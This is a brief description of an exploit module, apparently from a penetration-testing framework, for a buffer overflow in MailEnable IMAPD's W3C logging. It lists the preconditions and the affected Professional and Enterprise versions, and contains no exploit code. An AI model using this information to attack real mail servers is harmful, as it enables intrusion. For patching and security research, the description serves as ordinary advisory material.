This module exploits a buffer overflow in the W3C logging  
functionality of the MailEnable IMAPD service. Logging is not  
enabled by default and this exploit requires a valid username  
and password to exploit the flaw. MailEnable Professional version  
1.6 and prior and MailEnable Enterprise version 1.1 and prior are  
affected.
